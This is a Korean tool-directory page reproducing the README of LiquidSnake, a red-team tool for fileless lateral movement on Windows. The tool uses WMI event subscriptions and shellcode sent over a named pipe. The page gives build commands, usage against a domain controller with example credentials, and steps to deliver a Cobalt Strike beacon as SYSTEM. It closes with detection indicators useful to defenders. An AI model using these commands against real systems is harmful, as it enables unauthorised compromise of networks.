Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
LiquidSnake — 파일리스 측면 이동 도구로, WMI Event Subscriptions를 사용하여 메모리에서 .NET 어셈블리를 실행하고, 명명된 파이프를 통한 셸코드 인젝션으로 원격 Windows를 침해합니다. | Kitploit
도구/GitHubGitHub/riccardoancarani/liquidsnake
Payload GenerationLateral MovementShellcodeRed Teaming
GitHubriccardoancarani/liquidsnake

LiquidSnake

파일리스 측면 이동 도구로, WMI Event Subscriptions를 사용하여 메모리에서 .NET 어셈블리를 실행하고, 명명된 파이프를 통한 셸코드 인젝션으로 원격 Windows를 침해합니다.

저장소 보기
347494년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Liquid Snake

Liquid Snake은 디스크에 접촉하지 않고 Windows 시스템에 대한 수평 이동을 수행하기 위한 프로그램입니다. 이 도구는 WMI 이벤트 구독에 의존하여 메모리에서 .NET 어셈블리를 실행하며, .NET 어셈블리는 명명된 파이프에서 셸코드를 수신한 다음 스레드 하이재킹 셸코드 인젝션의 변형을 사용하여 실행합니다.

아래 다이어그램은 데이터 흐름을 설명합니다(바라건대):

Credits

  • MDSec - WMI Event Subscription - 이 도구는 이 블로그 게시물에 설명된 개념의 구현에 불과하며, 코드는 Dominic의 WMI 지속성 C Sharp PoC에도 의존합니다.
  • pwndizzle - thread-hijack.cs - C#의 스레드 하이재킹 구현에 대한 영감을 위해
  • med0x2e - GadgetToJscript - GadgetToJScript를 만드는 엄청난 작업에 대해

Intro

프로젝트는 두 개의 별도 솔루션으로 구성됩니다:

  • CSharpNamedPipeLoader - GadgetToJScript를 통해 VBS로 변환될 구성 요소
  • LiquidSnake - 원격 시스템에 WMI 이벤트 구독을 생성하는 역할을 담당하는 구성 요소

Building

Visual Studio에서 두 솔루션을 열고 빌드합니다. CSharpNamedPipeLoader에 대해 x64 아키텍처를 대상으로 해야 합니다. 모든 것이 잘 되었다면 CSharpNamedPipeLoader.exe와 LiquidSnake.exe라는 두 개의 별도 EXE가 있어야 합니다.

GadgetToJscript를 사용하여 CSharpNamedPipeLoader.exe를 VBS로 변환하려면 다음 명령을 사용하십시오:

root@kitploit:~
GadgetToJScript.exe -a CSharpNamedPipeLoader.exe -b -w vbs

cscript.exe를 사용하여 .NET 역직렬화를 테스트하고 모든 것이 예상대로 작동하는지 확인합니다:

root@kitploit:~
cscript.exe test.vbs

그런 다음 vbs 파일을 base64로 인코딩하여 LiquidSnake의 Program.cs에 있는 29번째 줄의 vbscript64 변수에 넣습니다.

이미 이 작업을 수행했으므로 LiquidSnake 솔루션을 컴파일하여 그대로 사용하면 됩니다.

Usage

이 프로젝트의 사용법은 간단합니다. 관리자 권한이 있는 호스트에 대해 LiquidSnake.exe를 다음과 같이 사용하십시오:

root@kitploit:~
LiquidSnake.exe <host> [<username> <password> <domain>]
LiquidSnake.exe dc01.isengard.local
LiquidSnake.exe dc01.isengard.local saruman DeathToFrodo123 isengard.local

참고: 현재 사용자 자격 증명을 명시적으로 설정할 때 버그가 있습니다. 그 경우 도구가 작동하지 않습니다. 대신 make_token 또는 다른 가장 메커니즘을 사용하는 것이 좋습니다.

모든 것이 잘 되었다면 다음과 유사한 출력을 얻을 수 있습니다:

root@kitploit:~
[*] Event filter created.
[*] Event consumer created.
[*] Subscription created, now sleeping
[*] Sending some DCOM love..
[*] Sleeping again... long day

위 예제는 CobaltStrike의 execute-assembly를 사용하여 LiquidSnake을 실행합니다:

한편, 원격 호스트에는 다음 이름의 새 명명된 파이프가 생성됩니다:

root@kitploit:~
\\.\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7

그런 다음 제 BOF의 send_shellcode_via_pipe project from my BOFs를 사용하여 원격 파이프에 임의의 셸코드를 보내 로드 및 실행할 수 있습니다:

root@kitploit:~
send_shellcode_via_pipe \\dc01\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7 beacon.bin 

모든 것이 예상대로 작동했다면 SYSTEM 비콘을 얻을 수 있습니다:

참고: 현재 LiquidSnake 버전에는 .NET 버전 4.x를 대상으로 하는 GadgetToJScript로 생성된 아티팩트가 포함되어 있습니다. 대상 호스트에 3.5만 설치된 경우 실패합니다. GadgetToJScript를 빌드할 때 적절한 .NET 버전을 사용하여 동일한 프로세스를 반복하면 됩니다.

Detection

이 도구의 남용과 일반적으로 이 기술의 사용을 식별할 수 있는 많은 탐지 기회가 있습니다:

  • 짧은 시간 내에 WMI 이벤트 필터의 생성 및 삭제, Sysmon 이벤트 ID 19, 20, 21, 22 참조
  • scrcons.exe 프로세스와 관련된 clr.dll 모듈 로드 이벤트
  • scrcons.exe 프로세스와 관련된 명명된 파이프 생성

또한, 특정 구현의 가장 큰 단점은 셸코드가 SMB를 통해 일반 텍스트로 전송된다는 것입니다. 즉, 네트워크 모니터 솔루션이 해당 트래픽을 검사할 수 있다면 눈에 띌 가능성이 높습니다. zeek/bro 규칙 세트에 대해 많은 테스트를 해보지는 않았지만 즉시 감지될 것이라고 확신합니다.

detection-artefacts 폴더에는 공격 중 생성된 Wireshark 캡처의 PCAP 파일과 Sysmon 이벤트(Swift On Security의 기본 구성을 사용)가 포함되어 있습니다.

도구 다운로드